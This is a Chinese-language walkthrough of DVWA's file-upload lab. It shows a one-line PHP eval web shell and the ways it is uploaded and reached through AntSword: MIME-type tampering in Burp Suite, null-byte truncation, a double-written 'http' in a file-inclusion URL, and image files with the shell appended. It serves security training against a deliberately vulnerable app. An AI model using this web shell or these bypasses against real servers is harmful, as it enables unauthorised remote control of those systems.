DVWA-文件上传通关
DVWA-文件上传通关
lololoweFile Upload,即文件上传漏洞,通常是由于管理员对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马文件获取服务器的webshell权限。
1. Low
文件上传实验环境中,选择一张图片文件上传,文件上传结果如下图所示:
由上图可以看到。上传成功后页面中返回了 ../../hackable/uploads/ted6.png
,即上传后的文件的相对路径。将该路径与当前页面URL(http://172.16.95.63/dvwa/vulnerabilities/upload/
)拼接,得到新URL:http://172.16.95.63/dvwa/vulnerabilities/upload/../../hackable/uploads/ted6.png
,由于../
表示上一级目录,因此服务器会将路径dvwa/vulnerabilities/upload/../../hackable/uploads/ted6.png
解析为dvwa/hackable/uploads/ted6.png
,即图片的绝对路径。因此,直接在浏览器中输入该URL,即可访问到上传的图片,如下图所示:
文件上传成功后,服务器会返回文件相对于当前网页的路径,因此可以根据此相对路径与当前页面URL,得到上传文件的绝对路径。如果上传的是一个木马文件,则可以很容易获取到服务器控制权限。
接下来上传一句话木马,木马文件名为hack.php
,文件内容为<?php @eval($_POST['mkbk']);?>
,上传结果如下图所示:
木马文件上传成功,根据返回的相对文件路径../../hackable/uploads/hack.php
和当前页面URLhttp://172.16.95.63/dvwa/vulnerabilities/upload/
可得出木马文件的URL为http://172.16.95.63/dvwa/hackable/uploads/hack.php
。接下来使用中国蚁剑,连接木马文件获取系统控制权:
2. Medium
2.1. 文件包含+文件上传
正常上传图片文件,返回结果和Low级别一致:
尝试上传木马文件,提示只接受png或jpg格式的图片:
将木马文件的后缀格式由php改为jpg,上传成功:
使用中国蚁剑进行连接,发现无法连接,提示返回数据为空:
中国蚁剑的原理是向上传的文件发送包含mkbk参数的post请求,通过控制mkbk参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞,因为文件包含漏洞会将任意文件当作php脚本执行。
借助Medium级别(过滤了http协议头,可使用字符双写绕过)的文件包含漏洞,需要打开中国蚁剑,右键添加,在地址栏中输入http://172.16.95.63/dvwa/vulnerabilities/fi/?page=hhttp://ttp://172.16.95.63/dvwa/hackable/uploads/hack.jpg
由于该URL需要在已登录的DVWA下才能访问,而蚁剑无法直接登录DVWA,因此需要借助bp进行代理,将请求转发到bp,并加上cookie(蚁剑每个操作都需要加上cookie):
2.2. 修改文件MIME类型
Medium级别的源码如下:
1 |
|
这里分别通过$_FILES['uploaded']['type']
和$_FILES['uploaded']['size']
获取了上传文件的MIME类型和文件大小。浏览器通常使用MIME类型(content-type字段)来确定如何处理URL,jpg图片的MIME为image/jpeg。因而medium与low的主要区别就是对文件的MIME类型和文件大小进行了判断,这样就只允许上传不大于100000b(约为97.6KB)且MIME类型为image/jpeg
或image/png
的文件。但是这种限制还是可以通过Burp Suite绕过的。
上传hack.php,用bp拦截,将Content-Type:application/octet-stream
中的类型改为image/jpeg
如下图:
然后放行,上传成功:
后面连接中国蚁剑的方法和2.1中的步骤相同,这里不再赘述。
2.3. 2次修改文件后缀格式
将一句话木马hack.php重命名为hack.jpg(修改文件格式为jpg后文件的MIME类型会变为image/jpeg)并上传,使用bp拦截,将文件后缀格式再改回php,使中国蚁剑可以识别此文件:
第一次将php改为jpg是为了过MIME类型检测,使木马能够被上传;第二次将jpg改为php是为了让中国蚁剑能够识别该文件。
中国蚁剑连接成功:
2.4. 0x00截断绕过
将hack.php
重命名为hack.php.jpg
,此时文件的MIME类型为image/jpeg
,可以绕过MIME类型检测,但是文件后缀格式为.jpg
,中国蚁剑无法连接该文件。因此还需要使用bp抓包,在十六进制编辑模式下找到.jpg
,并用00
替换掉.
,这样后面的jpg
就会被截断,文件名又变成了hack.php
,中国蚁剑可以识别该文件。00截断的原理是十六进制的00
在ASCII码表中对应空字符,而空字符表示字符串的结束,因此空字符后面的jpg
就不会被识别了,这样就可以绕过文件后缀名检测了:
2.5. 图片木马
使用 copy cat.png/b + hack.php/a hackCat.png
命令将图片和一句话木马合并到一块:
/b
参数表示以二进制模式打开文件,/a
参数表示以追加模式打开文件,同时使用就相当于将hack.php的内容追加到cat.png的末尾。
用十六进制编辑器打开hackCat.png,可以在文件末尾看到hack.php的内容:
将hackCat.png上传并用bp抓包,将后缀修改为php,成功上传:
根据返回的相对文件路径../../hackable/uploads/hackCat.php
和当前页面URLhttp://192.168.217.130/dvwa/vulnerabilities/upload/
,可得出木马文件的URL为http://192.168.217.130/dvwa/hackable/uploads/hackCat.php
, 使用中国蚁剑连接:
2.6. 总结
中等级别难度的文件上传只对文件的大小和文件MIME类型做了检测,而没有对文件的内容以及文件的后缀格式进行检测,所以我们可以通过修改文件的MIME类型来绕过后端代码检测,修改文件后缀格式或者使用00截断格式使得中国蚁剑能够连接该文件。
3. High
3.1. 源码分析
1 |
|
通过观察High级别的源码,可以发现最外层的if语句检查了扩展名是否为 “jpg”、”jpeg” 或 “png”,以及文件大小是否小于 100000 字节(约 100KB),并且还使用了 getimagesize() 函数来检查文件头(魔术数字)是否为有效的图像文件。
3.2. 漏洞利用
由于High级别的代码对文件头进行了检查,必须上传真实的图片文件,因此需要使用图片木马进行绕过:copy cat.png/b + hack.php/a hackCat.png
但是上传后的图片木马无法被中国蚁剑连接,因为中国蚁剑无法解析图片格式文件(抓包修改文件MIME类型也无效)。解决方法如下:
getimagesize()绕过的视频教程:https://www.bilibili.com/video/BV1UM4y1P75V/?p=87
4. Impossible
源码如下:
1 |
|
Impossible 级别的代码对上传文件进行了重命名(为 md5 值,导致 %00 截断无法绕过过滤规则),加入 Anti-CSRF token 防护 CSRF 攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。